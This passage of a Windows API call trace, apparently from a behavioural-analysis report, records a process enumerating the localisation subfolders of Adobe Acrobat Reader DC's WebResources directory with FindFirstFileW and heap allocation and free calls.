lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\en-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0260.290] GetProcessHeap () returned 0xc10000 [0260.290] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.291] GetProcessHeap () returned 0xc10000 [0260.291] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.291] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0260.291] GetProcessHeap () returned 0xc10000 [0260.291] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.291] GetProcessHeap () returned 0xc10000 [0260.291] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.291] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\en-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0260.293] GetProcessHeap () returned 0xc10000 [0260.294] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.294] GetProcessHeap () returned 0xc10000 [0260.294] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.294] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.294] GetProcessHeap () returned 0xc10000 [0260.294] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.294] GetProcessHeap () returned 0xc10000 [0260.294] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.294] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\eu-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.295] GetProcessHeap () returned 0xc10000 [0260.295] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.295] GetProcessHeap () returned 0xc10000 [0260.295] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.295] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0260.296] GetProcessHeap () returned 0xc10000 [0260.296] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.297] GetProcessHeap () returned 0xc10000 [0260.297] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.298] GetProcessHeap () returned 0xc10000 [0260.298] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.298] GetProcessHeap () returned 0xc10000 [0260.298] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.298] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0260.299] GetProcessHeap () returned 0xc10000 [0260.299] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.299] GetProcessHeap () returned 0xc10000 [0260.299] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.299] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\he-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.300] GetProcessHeap () returned 0xc10000 [0260.300] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.300] GetProcessHeap () returned 0xc10000 [0260.300] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.301] GetProcessHeap () returned 0xc10000 [0260.301] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.301] GetProcessHeap () returned 0xc10000 [0260.301] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.301] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.302] GetProcessHeap () returned 0xc10000 [0260.302] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.302] GetProcessHeap () returned 0xc10000 [0260.302] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.302] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0260.303] GetProcessHeap () returned 0xc10000 [0260.303] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.303] GetProcessHeap () returned 0xc10000 [0260.303] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.304] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.305] GetProcessHeap () returned 0xc10000 [0260.305] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.305] GetProcessHeap () returned 0xc10000 [0260.305] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0260.306] GetProcessHeap () returned 0xc10000 [0260.306] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.306] GetProcessHeap () returned 0xc10000 [0260.307] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.307] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.308] GetProcessHeap () returned 0xc10000 [0260.308] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.308] GetProcessHeap () returned 0xc10000 [0260.308] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.308] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0260.309] GetProcessHeap () returned 0xc10000 [0260.309] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.309] GetProcessHeap () returned 0xc10000 [0260.309] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.309] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.309] GetProcessHeap () returned 0xc10000 [0260.309] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.309] GetProcessHeap () returned 0xc10000 [0260.309] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.309] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0260.311] GetProcessHeap () returned 0xc10000 [0260.311] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.311] GetProcessHeap () returned 0xc10000 [0260.311] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.311] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.312] GetProcessHeap () returned 0xc10000 [0260.312] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.312] GetProcessHeap () returned 0xc10000 [0260.312] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.312] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0260.313] GetProcessHeap () returned 0xc10000 [0260.313] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.313] GetProcessHeap () returned 0xc10000 [0260.313] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.313] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.313] GetProcessHeap () returned 0xc10000 [0260.314] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.314] GetProcessHeap () returned 0xc10000 [0260.314] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.315] GetProcessHeap () returned 0xc10000 [0260.315] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.315] GetProcessHeap () returned 0xc10000 [0260.315] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.315] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\sl-si\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0260.316] GetProcessHeap () returned 0xc10000 [0260.316] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.316] GetProcessHeap () returned 0xc10000 [0260.316] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.316] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0260.316] GetProcessHeap () returned 0xc10000 [0260.316] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.317] GetProcessHeap () returned 0xc10000 [0260.317] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.317] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebf29f0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebf29f0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebf29f0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0260.318] GetProcessHeap () returned 0xc10000 [0260.318] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.318] GetProcessHeap () returned 0xc10000 [0260.318] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.318] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec18c5e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec18c5e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec18c5e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0260.320] GetProcessHeap () returned 0xc10000 [0260.320] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0260.320] GetProcessHeap () returned 0xc10000 [0260.320] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0260.320] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\sample-files\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, 